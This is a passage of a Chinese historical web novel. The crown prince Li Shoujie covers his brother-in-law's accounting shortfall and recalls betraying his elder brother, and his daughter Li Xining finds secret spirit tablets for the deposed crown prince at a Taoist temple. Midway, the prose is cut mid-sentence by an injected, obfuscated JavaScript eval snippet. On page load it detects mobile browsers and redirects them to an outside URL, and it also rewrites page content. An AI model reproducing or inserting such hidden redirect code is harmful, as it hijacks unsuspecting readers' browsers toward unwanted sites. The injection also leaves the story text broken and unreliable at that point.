傍晚,残阳被夜色一点点吞没。 隰华殿内早早点了灯,宫娥悄然走近,揭开地上的鎏金莲花纹五足朵带香炉,添了新的沉水香进去,名贵的香料在炉火中焚烧,缭绕的烟雾成缕飘出,在空中轻盈地散开,清润典雅的香气在大殿中弥漫,令人心情舒适。 “你就是这样做账的?” 李守节将最后一本账放到一摞账本的最上方,林瑛坐在他右侧,腰背绷得笔直,似乎有些紧张—— 一下午李守节没抬过几次眼,茶也没有喝一口,林瑛怎么都没想到,他竟然会这样有耐心。 起初林瑛还觉得他中午喝了酒,脑子指定糊涂,就想着拿假账糊弄,可没一会儿就被看出了破绽,只好又把真的取来。 “这个东西,除了我之外,没给旁人看过吧?” 李守节的手指在账本的封页上点了点:“你姐姐也没看过吧?” 林瑛讪笑,摆手道:“当然没有,这个姐夫放心。” “不让看就对了,看了反而是麻烦。”李守节说。 两人沉默了一阵,屋子里静悄悄的。 “姐夫……” 林瑛忽然向他靠了靠,声音很轻,语气里带着十足的困惑:“我实在是想不通,你是怎么看出来我账对不上的?你又没有到江南去过。” “……” 李守节没有看他,也没回答,只端起茶水默默饮了一口,这茶放得太久,已经凉透了,于是他又很快放下。 林瑛见他不说话,以为又是拿乔,于是起身左右找了找,却见这偌大一座隰华殿,除了刚刚那个添香的侍女,别说是人了,一个鬼都没有。 “哎,不是,人都去哪儿了?” 林瑛起身:“一个个的,都在哪儿猫着呢?快,还不快给郎君换一壶热茶来!” 说罢,他便准备趁机溜号,被李守节叫住了。 “回来!” 李守节心里不痛快,语气也有些急躁:“我还什么都没说呢,你这是要往哪里去?账做得不好,以后做好不就是了,心不够细,以后便要学着心细一些!” 说着,他都有些头痛了,这教训人的话,他没想到有一天会从自己嘴里说出:“你老大不小了,怎么还总以为自己是和嗣昌一样的——” 提起李息宁,林瑛来劲了:“姐夫,我那小外甥呢,怎么今日没见到她?” 被他打岔,李守节更烦了:“你找她做什么?” 林瑛说:“前几天我来府上,和姐姐在屋里说话,我那小外甥还跟我们聊了几句呢,可有意思了!还说什么——要是爹爹派我去江南就好了——怎么,她后来没跟你说?” “……什么?” 李守节有些坐不住了。 他看向林瑛,冷声质问:“你和若华当着她的面说什么了,什么去不去江南的,怎么对着她聊这些?” 林瑛意识到了不妙,立刻辩解:“天地良心,我可什么都没说,她估计是自己在屋门口听到的吧,进屋里张口就是一句,我和姐姐都没反应过来呢!不过好歹是劝住了,可能没找你,也是她自己想明白了吧。” 说着,他笑了笑:“你说说,这孩子也是的,打小就爱操心,还为朝廷出谋划策上了,我要是有她这般出息,我爹他老人家做梦都得笑醒!” 李守节:“……” 不对。 应该不是这么回事。 她现在还没开口,因为她知道自己不会同意,那以后呢? 不行,这绝对不行…… 这么想着,李守节的心有些乱了,过了很久,他才慢慢开口:“江南那边我知道了,你也不必瞒我,窟窿有多少,我替你垫上,日后还我。” “哎呦,姐夫……” 林瑛腆着脸道:“谈钱多见外?一家人还说两家话啊?” 李守节瞥了眼桌上堆了一摞的账本,唇角勾起一丝讥讽:“想着拿这些东西糊弄我,你是这样把我当成一家人的?” “我这不是没糊弄成么,哎,我这……” 林瑛想要辩解,但半天也解释不出来什么,他两手捂住了脸,闷闷道:“我以后一定把账算清,我每笔账都记,再也不敷衍了事了。” “哼,你最好记得。” 李守节不想跟林瑛生气,这人小孩脾气,好在脑子还算灵光。 当年林若华嫁给他的时候,林瑛还只是个穿开裆裤的孩子,整天追着他玩,他也算是看着林瑛长大的。 只是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382570|200205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在是好奇。 林家到底是怎么能同时养出来林若华和林瑛这一对脾气性格截然相反的姐弟来的? 指定是坟上有点说法。 他说:“我这儿也没多少闲钱,最多再拿出二十万缗,之前的亏空我不计较,若华与我夫妻一场,我不想算得太细……至于这笔钱,你务必要算明白,我日后还有大用。” 林瑛瞋目结舌,颤颤巍巍伸出两根手指头:“姐夫,二十万缗还不叫钱?宅家对你一直都这么大方的吗?” “你再跟我胡言乱语,信不信我把你姐姐请过来?” “……我错了。” 林瑛立刻认怂,但他心里还惦记着另一桩事,观察着李守节的神色,小心试探道:“对了,姐夫,咱们之前说准的事,还算不算了?” “嗯,算。” 林瑛又问:“那、那你呢?” “我?” 林瑛眨了眨眼:“姐夫你呢?” 李守节知道他的意思,半天没有说话。 林瑛伸手在他眼前晃了晃:“姐夫?” “不会到那一步的。” 李守节叹了口气。 林瑛不再问了,他知道问不出来什么东西的,于是他说:“那杜崇圭的事,你有办法了?宅家又是怎么想的?” “……” 李守节沉默了。 他在说这事的时候,总会下意识地沉默,沉默过后,他说:“天意难测,我的话……至少明面上,还是想着先维持现状,能哄便哄,万事等过了明年,毕竟把他拿了,朔方那边还真是找不到合适的人顶上。” “杜崇圭不是一直想做宰相吗?”林瑛说,“不如就把他召回长安,真封他个宰相!” 李守节说:“这不行。” “怎么不行?” 李守节说:“你忘了当年安东平了吗?” “安东平……” 这名字太过久远,令林瑛一阵恍惚。 那是快二十年前的事了。 建德年间,藩镇势大,范阳连续换了三个节度使,都无一例外死在了赴任的路上。 那时,还是皇太子李守让献策,才将这件事平稳地揭了过去,不过,谁也不知道,皇太子究竟和安东平谈了什么条件。只知道那件事过去不久,安东平就死了。 悄无声息地死了,死在了,他亲生儿子的刀下—— 再往后,皇帝和太子的关系便有些微妙,甚至可以说是交恶。他们经常散了早朝之后吵架,激烈的争吵过后,皇太子一般都是一语不发地走了,皇帝则气得要死,当着一众宫人的面摔东西,不顾颜面地破口大骂,也正是因为如此,朝廷才会有不一样的声音。 李守节才会说那句话。 那句…… 他本不该多嘴的话。 李守节到现在还没有想明白,为什么,他为什么要那么做,难道他不懂吗,他为什么非要在那个时候火上浇油,还是说,他是太想证明自己了,证明会自己比大哥做得更好,更能让父亲满意吗? 他被皇太子亲手养大,他比谁都要懂他,也正因为如此,他才在那个时候,向他刺出了最致命的一剑。 他记得很清楚,那天,他藏在宣政殿的后面,等一切都安静了,他才走到父亲身旁,脚步很轻,皇帝甚至都没有注意到他。那时的他只有十五岁,正是少年人最心高气傲的年纪,他在天子的脚边跪下,手放在他膝盖上,仰着头,眼中满是对君父的孺慕以及对权力的渴望,他说—— “大哥不听话,以后,我会听爹爹的话。” 他和李守让是那么地像,又是那么不像。 同样做过皇后的母亲,肖像的面容,却截然相反的话语。 皇帝伸出手,摸了摸小儿子的脑袋,说:“姊奴,好,我知道了。” 就这样,那个盒子打开了。 被他亲手打开了。 李守节眼神放空,定定地看着前方,又像是透过屋子,看向很远的地方。 “姐夫?姐夫?” 林瑛见他走神,轻唤两声。 李守节眨了眨眼,长长舒了口气,缓声道:“没什么,想起些别的事。” 他静了心,继续道:“所以说,杜崇圭的事不好办,难就难在,他知道安东平的前车之鉴,如今再想把他召回长安,怕是没那么容易了。” 说罢,他缓缓抬头,望向屋顶藻井—— 雕花繁复的莲花缠枝纹路层层叠叠,描金的线条在烛火照映中熠熠生光。 他再一次被这种迷幻的美侵扰了心神。 东雩别院三座大殿,每一处角落,都是他精心设计过的,早在隰华殿建成之前,或者说,早在他还是个孩子的时候,他躺在东宫的床上,睡前和哥哥讲他那些奇思妙想,便已经在脑海中无数次地想好了图样—— 他如果能有一座属于自己的宫殿就好了,他想做什么就可以做什么,连屋顶都可以做成他喜欢的模样,他想要打造一座独属于他的天宫。 所以,有了东雩别院。 如今,他已经拥有这一切了,可为什么,他再也没有快乐过呢? 为什么? 他不再想了,闭上眼,沉声道: “林瑛,我要你替我办一件事。” 20. 月探金窗(九) 堕云观建造于永兴年间,虽称之为“观”,却与太清宫规制相同,用的是重檐庑殿顶,铺着蓝色琉璃瓦,是一座专属于皇太子的道观,从不对外开放。 李息宁上一次来这里,还是在永兴六年。 那时候,堕云观里松柏参天,绿荫满地,皇太子牵着她的手走在石板铺就的甬道上,夹道开满了芍药花。 她记得很清楚,长安城一直在下雨,好不容易放晴,青石砖铺就的地面又湿又滑,泥水打湿了她的鞋子,她还是个小孩子脾性,没走两步路就不走了,赖在原地,伸出双手要人抱。 蒋明夷弯腰哄她,她却闹着躲进了皇太子的袖子里,她说:“我不要大伴抱!我要娘娘抱!” 天气还算不错,雨水洗涤过的天空呈出一种纯粹到近乎透明的蓝,林下吹来的风十分清甜,她和父母一起,仿佛只是一次再平常不过的出游。 “你这么重,把你娘娘累着了怎么办,来,爹爹抱你。” 皇太子说着,把她从地上捞起来,搂在怀里。 她像一条活蹦乱跳的鱼儿,在他身上扑腾,片刻闲不下来,一会儿要去摸他的发冠,一会儿又要去够树上的嫩叶,林良娣在他们身边,她那时候还很爱笑,她说:“老实些吧,你瞧,你都将你爹爹的衣服弄脏了。” “啊?有吗?” 李守节那天打扮得确实很素,玉白色的襕袍,雪青色的幅巾,像是月亮一样。李息宁想去看看他身上是哪里脏了,可略一低头,就见到了那个女冠—— 那人道士打扮,外罩素纱衣,头戴莲花冠,像是一片悄然坠地的枯叶,与这片花红柳绿分外不搭。 李息宁怕生,胆怯地圈住了李守节的脖子,钻进了他的怀里,她问:“爹爹,那是谁呀?” 父亲告诉她:“那是神仙。” “神仙?” 李息宁很疑惑。 堕云观里竟然有神仙? 她心想:她还没见过神仙呢,原来神仙是长这个模样的吗?好像和普通人也没什么区别…… 这么想着,“神仙”朝他们走了过来,她步伐很轻,踩在地面上的时候没有任何声音,她怀中揣着一杆拂尘,停在他们面前,弯腰俯身,向他们行礼。 “神仙”向他们行礼。 李息宁得意极了。 父亲是皇太子,她是皇太子的孩子,所以—— 看吧,就连神仙都要向他们行礼! 皇太子与林良娣同那女冠说话,谈话的内容李息宁听不太懂,只贴在父亲的怀里,眼睛一眨不眨地打量她的脸—— 她长得不美,只是肤色生得雪白,眼梢是垂下去的,漆黑的眼羽向两侧撇开,像是某种昆虫的翅膀,看起来恭顺又慈悲,倒真的有脱离俗世之感,如果不是她眼角的那些细纹,李息宁或许真的会认为她是一位神仙。 于是,她很小声地问:“神仙叫什么名字?” 李守节没有应,她就抓着他的胳膊摇了摇,迫切地想要从他那里得到一个权威的答案,可神仙却开口了,她说: “小道道号——守微。” 李息宁愣了一瞬,伸出胳膊,指着对方: “你好大胆!” “——你怎么敢和我阿爹用同一个字!” 她的声音脆生生的,划破了堕云观里长年不改的清幽,几只鸟儿受惊,振动着翅膀从梢头飞走,颤巍巍的枝桠洒下一地清露。 守微真人没有说话。 她的拂尘在空中轻轻摇晃,像是某种动物蓬松的尾巴,看得人心痒痒,想要揪上一揪,可她的面容却是肃穆而沉静的,似乎完全没有因李息宁的童言无忌而感到冒犯。 李守节出来打圆场,他解释道:“这名字是我赐给她的,她是我的法身。” 法身。 那是李息宁第一次听到这个词。 在崇文馆外,是第二次。 卢翰林提到守微真人的时候,也是这么说的—— 皇太子的法身。 建德二十三年,东宫失火,皇太子李守让被废为庶人。 永兴元年,相王立为皇太子。 永兴二年,关中大旱,渭水断流,新立的皇太子重病缠身,眼见药石无医、大厦将倾,却有一位道人入宫面圣,称此劫若要化解,皇太子需立生祠、塑金身,出家为道、远离红尘。 可太子身为储贰,怎能真正出家?于是皇帝寻得与太子八字相合之人做法身,最终定下一女子,太子将她认作义妹,并亲赐其道号曰:守微。 自那以后,长安城风调雨顺,皇太子的病,竟也神乎其神地痊愈了。 卢翰林告诉她: “大王若得见此人,或许心中的疑虑便可解开了。” …… 一进山门,便有两个小童上前,恭恭敬敬地向她作揖,道:“贵人烦请留步,本观不接待外客。” 李息宁于是取下玉牌,两小童接过后对视一眼,其中一人说:“师兄,这上面写的是什么,我怎么看不懂?” 稍年长些的说:“叫你平日里多读些书,这上面分明写的是——车雷别院!” 李息宁:“……” 她纠正:“是东雩别院。” 那小的挠挠头:“东雩别院,好奇怪的名字?”说着,将东西还给了李息宁,说:“贵人见谅,师父交待过了,不让外客进去。” 李息宁心想,怎么这堕云观的童子,竟然连东雩别院都没有听说过,便又拿出鱼符给他们看,年长的接了过去,大叫一声:“呀,你原来是永宁郡王!” “永宁郡王是谁?” “笨,你竟然连永宁郡王是谁都不知道,永宁郡王可是太子殿下的儿子!” 小的两眼发亮:“太子殿下的儿子?” “对,太子殿下的儿子!” 李息宁:……有必要强调那么多遍吗? 小的那个凑到李息宁跟前,先是捧着手鞠了一躬:“大王好!”说罢,他扬起脑袋,对着她好一番打量,张大了嘴巴感叹:“天哪,师兄,他和太子殿下长得好像,他长得和殿下一样漂亮,不,他比殿下还要漂亮,他们好像哇!” 年长的说:“当然啦,殿下的孩子当然要和殿下像啦!” 李息宁不想听他们两个胡白:“我能进去了吗?” “可以可以,这边请——” 李息宁跟在他俩后面,他俩手挽着手在前面走,时不时扭头向后瞧上一眼,被她发现后又匆匆躲开,李息宁问:“守微真人可在?” 听她是来找守微真人的,年长的小童有些犯难,毕竟师父曾经交代过,守微真人身份特殊,除太子殿下之外,外人一概不准见,于是他绞尽脑汁寻了个借口: “大王来得不巧,守微真人正在闭关。” “咦?” 小的那个眨巴两下眼睛,疑惑道:“师兄,真人又闭关了?什么时候的事?我昨天下午还见她来着!” 年长的被呛得一咳嗽,伸手在小的头上一敲,咬牙道:“那、那是你看错了!” “我才没有看错!” 见他俩要吵起来,李息宁并没有什么反应,只说:“带我去见她。” 年长的小童眼见着没法子了,心想,永宁郡王是太子的儿子,总也不至于是外人吧,他见守微真人应该没什么问题吧,兴许是太子殿下不方便,派他来传话的呢,他们不也总是替师父传话吗? 这么一想,他放下了心理负担,但还是有些犹豫,带路前特意嘱咐道:“大王,一会儿若是见了真人,您千万不能说是我们放您进来的呀!” 李息宁道:“晓得。” 于是他们一起往里走。 堕云观供奉着皇太子真容,小童带她去看,画得不是很像,也没有他本人好看,李息宁只看了一眼便不再看了。 堕云观一年到头都是这般冷清,两个小童走在她的前面,深一脚浅一脚紧赶慢赶,大的那个嘟嘟囔囔说了几句,大概是埋怨那小的多嘴,小的拽着他的袖子,一个劲儿地不服,委屈道:“明明是师兄说谎在先,怎反倒怪起我了呢……” 李息宁长大后再踏入这里,又是一个晴天,琉璃瓦和天空连成一片,她踩着儿时踩过的路,花草灌木逶迤在她的脚边,参天的巨树蝉鸣啁啁,时光流转,这里的一切都没有变,只是那些建筑与草木,都比记忆中的要矮。 昔日过了玉皇殿,太子便会打发蒋明夷带李息宁去别处玩,他和林良娣抛下众人,携手到斋堂上香。 红墙蜿蜒起落斗折蛇回,穿过曲折的回廊,她也是第一次发觉,原来堕云观这么大,布局又是这样的错落,简直是一座迷宫。 终于,在穿过最后一道门后,一座宝塔矗立在斋堂之外。 这是供奉着太子金身的地方。 两小童停在一棵树下,指着门里:“守微真人就在那里边,我们只能送大王到此处了,记得一定不要说是我们带你过来的呀!” 李息宁笑了笑:“好,有劳二位小道长了。” 那两小童估计还是第一次被人唤做道长,脸红扑扑的,像是得了什么不得了的夸奖,跑回去的路上一跳一跳的。 李息宁进了垂花门,站在四角宝塔下,铜质的角铃在她的头顶悠悠撞响…… 铃—— 铃铃———— 她深吸了一口气,伸出手,敲了几遍门,无人回应。 犹豫片刻,伸手去推,只听“吱呀”一声,两指宽的门缝打开,一阵浓郁的降真香、柏子香与檀香扑面而来—— 门没有锁。 她加重了手上的力道,木门被缓缓推开。 率先映入眼帘的便是一张紫金相间的神帐。 神帐下是摆满了法器的祭坛,漆木长桌左右高低摆着九排香花蜡烛,祭坛后是由金塑成的三官大帝的神像,上元天官、中元地官、下元水官,分别对应天、地、水三界的主宰,掌管着赐福、赦罪与解厄。 李息宁还是第一次见有人把三官大帝摆到这地方来。 紫幕低垂,香雾缭绕,光线又很暗,李息宁看不太清,但听得有东西被风吹动,发出沙沙的声响,似乎是从头顶传来。 她抬头望去—— 这 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她很想知道,究竟是怎样恶灵,需要这样大费周章,在塔下设祭坛去超度。 而设此坛的人,很明显,就是她的父亲。 皇太子李守节。 想到这里,她的身上竟然有些冷了。 浓郁的香气熏得她头晕目眩,也不怪父亲每次从堕云观回来,身上的香味都是那样明显,只这么一会儿,她的身上便满是这焚香的味道。 他想要超度往生的人,又会是谁呢? 李息宁站在楼梯拐角处,向下望去,层层叠叠的金幡像是漩涡一样,盖满了她的整个视野。 神像后似乎有东西。 她向下走去,脚步放得很轻,尽量不去打搅此处的神灵,绕到坛后,光更弱了,但勉强能看清地上放着一张蒲团,由金线包裹,做成了莲花的形状,是供人跪拜用的,她几乎能想象出来皇太子跪在此处的模样。 这种蒲团庙宇寺院随处可见,只不过既然是用于跪拜,又为何不摆在神像之前? 这般疑惑中,李息宁缓缓将头抬起来。 蒲团正前方,是一架类似于轿子样的陈设,紫檀木制成,雕工极其精湛,帘子垂下,遮住了里面的东西。 李息宁有些紧张,心怦怦乱跳,犹豫着要不要将那帘子打开,却又担心有什么不好的东西会从里面跑出来。 真的…… 是没有往生的亡灵吗? 这世上有鬼吗?或者说,真的有神仙吗? 就在这时,她的正前方响起了脚步声,就在这轿子的后面,很轻,很轻,一步一步向她靠来,又忽然停下,定在了她几步开外,是她看不到的地方…… 是谁? 是守微真人吗? 还是说…… 李息宁的手在发抖。 这地方太古怪了。 没想到,爹爹一直来的竟然是这样古怪的地方,如果叫他知道了,以后准不会再放自己进来,所以说,若不趁此机会一探究竟,以后恐怕是真的没有机会了。 于是,她心一横,一把将那帘子拽开—— “……” 光一点点地将那轿子里的东西照亮,李息宁迟钝地意识到,她之前没有往超度亡灵用的祭坛上面去想,是因为她没有看见一样最要紧的东西。 那样东西,她在书上看到过,是一样法器,形状和轿子类似,却又略有不同,是供放逝者神位的地方,是…… 渡魂车。 门开着,塔下的铜铃声还在响。 铃—— 铃铃———— 风卷入塔内,吹得那些大大小小算上符箓在内的几千张幡不停地晃动,如一棵树那样,李息宁原地足足站了有一炷香的时间,才把帘子放下去,转身出来。 果然,守微真人在外面等她。 她说:“殿下,你来了。” 真奇怪。 她说这话的语气,好像料定了她会前来似的。 可李息宁已经不想深究了。 守微真人要比她记忆中的还要老,她看上去起码比李守节要大十岁,这样的年纪,怎么能做他的义妹呢? 假的,都是假的。 什么法身,什么义妹,什么太子金身…… 全部都是假的。 李息宁的心中一片冰凉,身上也是,却出了很多的汗,沾满了汗水的衣物贴在身上,被风一吹,她更冷了。 她努力地喘了两口气,确保了自己还清醒着之后,她说: “你到底是什么人?” 这座塔里,除了一座坛,与上千张灵幡、符箓之外,什么都没有,而那辆渡魂车里摆着的,是两个神位,也是这十余年来,超度不掉的亡魂。 尊者居左,为上位。 卑者居右,为配位。 上位曰:大唐故皇太子孝文府君之神位 配位曰:大唐故皇太子妃杨氏之神位 21. 月探金窗(十) 李息宁从堕云观回来,已是过了傍午,日头向西,吹来的风依旧炎热。 她自喧闹的坊街中穿过,人们身着轻罗薄纱,聚在水井旁乘凉,咕噜噜的水桶从井底转上来,年轻的壮汉弯腰,汗水顺着他的脊沟往下淌,后背上晕湿了大片,他伸手,将一瓢水舀出,用力向街心挥去,只听“兹拉”一声,热辣的地面浮起苍白色的水烟,被风一吹,阵阵凉意散开,人们摇着扇子,高呼痛快。 李息宁穿街而过,目不斜视。 她牵着马,崇仁坊中所住多为达官显贵,前来拜谒者络绎不绝,来往冠盖如云,门庭若市,沿路车铃马蹄声不断,这些人有的往西去,有的往南,却唯独没有向北。崇仁坊的正北方是皇太子的私宅,是名满天下、秀齐山川的—— 敕造东雩别院。 东雩别院外第一道街,名为春秋街,春秋街前有二十二道牌坊,牌坊林外是文王庙,文王庙旁有一座丈许的石碑,其大小如山,有负屃盘绕、霸下驼碑,石碑右侧便是下马亭,在此处,不论官阶,文官下轿,武官下马,以彰储君威严。 多少人终其一生,都没能看上一眼东雩别院门口的金龙照壁,或者说,连第一道牌坊都迈不进去。 李息宁站在大门口,仰头,看向那张青金石材质的巨大匾额,日光下照,正当中楷书的四个大字金光璀璨,华贵非凡。 她对着那张匾看了许久,竟然想起来了儿时发生过的事,在学堂里,她和小伙伴起了争执,关于匾额由谁所书,她吹牛说是曾子,引来他们哄堂大笑…… 其实,她那时从未留心观察,若能像现在这样,进门的时略抬头看上一眼,不难发现匾额正中心的“敕造”金印,与左右各一的皇太子印鉴。 李息宁儿时读《论语》,其中有一章,是子路、曾皙、冉有、公西华侍坐,孔子问他们的志向。 子路说:“千乘之国,夹在大国之间,外有强敌,内有饥馑,如果让我来治理它,等到三年,便可人人善战、明白道理。 冉有说:“方圆小国,如果让我去治理,等到三年,百姓便能安居富足、修明礼乐,只等待贤人君子的到来了。” 公西华说:“我不敢说胜任什么,但愿意学着去做,宗庙祭祀、诸侯会盟或是朝见天子的时候,我穿戴上礼服礼帽做一个小相就好了。” 孔子问曾点:“他们都说了自己的志向,那你呢?” 曾点说:“莫春者,春服既成,冠者五六人,童子六七人,浴乎沂,风乎舞雩,咏而归。” 暮春时节,春天的衣服已经穿上了,我和几个成年人、几个孩童到沂水里洗洗澡,在舞雩台上吹吹风,一路唱着歌儿回来。 孔子赞同他的志向。 李息宁也赞同,因为比起子路的轻率急躁、冉有的谦虚、公西华的委婉曲致,曾子的志向是高雅而宁静的,是惬意的、无忧无虑的,她喜欢这种感觉。 她本以为父亲也是这样。 可她却忽略掉了,这种惬意、宁静、与高雅,却并不是浑然天成的,东雩别院也不是凭空出现的。 它造价一百万缗,便是放在开天盛世,也是一笔巨款。 她的脸上没有表情,神色冷清地从侧门进去,刚一进门,便有下人拦住了她: “大王回来了,郎君说您回来后,请先到他那里去一趟。” 李息宁没什么心情,也不想见他,但他都这么交代了,她也没有避而不见的道理,于是应下。 东雩别院有三座大殿,从南往北,依此是明华殿、昭华殿与隰华殿。 隰华殿一座正殿,带两间配殿,皆是天青色琉璃瓦,往后过一道垂花门便进后院。 此间院宇宏大,廊庑周接,华堂丽屋临水靠山,湛露池旁更有一座香榭小楼,由黄石古木簇拥,南北通透,采光极好,三面轩窗悬于水上,正当中匾书曰“群玉见山”,乃是仿照开天年间兴庆宫凉殿所建。 李息宁到的时候,三面窗户都开着,水车滚得哗哗作响。 丈高的木架托着巨大扇轮,渠水流过,带动水轮轱辘辘转,扇叶也跟着缓缓旋动,清润的风徐徐而来,带着清冽的凉意,飘向香雾缭绕的水榭阁楼。 楼中人影绰约,十余位姿容姣好的宫娥侍立在侧,有的掌扇、有的手捧冰盏、有的奉着雪白的酥山,伺候得面面俱到。 她们身着十二破齐腰裙,颜色青绿相间,清凉的风吹来,拂得她们衣袂飘举,望去如远山叠翠、黛青连绵。 宫娥说:“郎君请大王上去。” 李息宁上了二楼,一阵馥郁的香扑面而来,质地上乘的松烟墨混着冰片、麝香与芙蓉花汁,馥郁带有一丝淡甜,是开天年间的御墨龙香剂。 他正在写字。 皇太子弯着身子,是半蹲半跪的姿态,身上莲花锦纹光彩摇曳,又顺着身形流泻在织毯之上,袖间系着襻膊,露出一截清瘦干净的小臂。 面前竖着一张大屏风,细木为骨,撑开一方薄如蝉翼的白绢,阳光泻入亭中,淡金色的光辉覆盖其上。 他已将字写了大半幅绢面,听到动静回头,见是李息宁到了。 他正想招呼她过来,却见李息宁兀自地停在几步开外,躬身向他见礼: “臣恭问太子殿下安。” “……” 这话让李守节有些愣神,却见墨汁要洇上去了,索性先将笔下的字写完。 “我很好。” 他把笔搁在一旁,缓缓起身坐进圈椅里,恢复了往日的端庄,李息宁迟了很久才慢吞吞地坐到他身边,宫娥看茶,又端上了酥山。 李息宁一口未动,茶也不喝,只说:“爹爹叫我,是有什么事?” 阳光从窗子里照进来,落在皇太子的脸上。 他似乎刚沐浴罢,身上还散着澡豆的清香,乌藻般的长发半挽着,颜色又黑又亮,刚刚他写字的时候,头发顺着肩膀滑落,发尾擦在地上,划出一道道晶莹的水痕…… 他只要不出门,便一直是这副富贵闲人做派。 李息宁想:他应该还不知道我去了堕云观。 “没事就不能找你说说话吗?” 李守节指了指屏风,说:“看看这是什么。” 于是李息宁的目光跟着落到那扇屏风上去—— 皇太子的字取法褚遂良,又兼修二王,落笔飘逸灵动,媚中带骨,再加上龙香剂墨色如漆,一眼看去,浮光跃金的字迹仿若悬浮在半空当中,令人啧啧称奇。 李息宁逐行看过去:“……是《逍遥游》。” 太子十岁便能书善画,他对自己的字一向得意:“怎样,还算不错吧?” “自然是极好的。” 李息宁看着看着,忽然蹙起眉:“这里——‘野马也,尘埃也,生物之以息相吹也’,中间这个‘息’字,怎么空着没写?” “你说呢?” 他笑着,朝她眨了眨眼,皇太子的眼睛很亮,一眼望去清澈见底,像是一弯秋水,笑起来的时候波光粼粼,似乎天生带着几分调笑。若是从前,被他这样打趣,李息宁指定会闹几分小孩子脾气,专门讨他哄上一哄,两个人都开心。 可偏偏她现在心情很差,根本不想同他取笑,她的心里满是堕云观,满是守微真人,满是卢翰林说过的话,满是那千百张的符箓、灵幡,满是渡魂车中两个神位—— 孝文太子,是谁?皇太子妃杨氏,又是谁? 难道这很难猜吗? 李息宁提不起来精神,声音也淡淡的,只说:“没有这样的道理,也不许胡说,快补上。” 李守节还想逗她:“那要不换你来写?” “……不要。” 李守节见她不接自己的茬,只以为她心情不是很好,便也没再与她玩笑,重新拿笔将字补完,又继续写了下去,不足半刻功夫,最后一字也收了笔。 宫娥将他的印章取来,材质大小不一的足足有二十余个,他看了看,取了一方白玉质地的印,蘸泥上章,再轻轻铃下,丹红一点,映在绢布之上,如落日残霞,仔细一看,篆的是“东雩别院”四字。 李守节看了眼天,金黄色的余晖穿窗而过,他吩咐道:“蒋明夷,将这个搬到帘子外头去。” 蒋大伴于是领着两名宫娥,将屏风挪到了细纱帘之外—— 光透过屏风,飘逸灵动的字便落于帘上,微风拂过,纱帘摇晃,浮光流转之间,字影也一起摇曳,疏疏落落,影影绰绰,可谓是风雅至极。 李息宁:“……” 她这才明白,他为什么要在绢上写字。 他用的不是墨,而是光。 他是真有雅兴。 若换作平常,她指定会好好称赞几句,但可惜,现下她半天也想不出什么溢美之词,于是只点评了两个字:“好看。” 李守节说:“这幅我先自己留着,等过两年你出去开府,我再给你做个更好的。”

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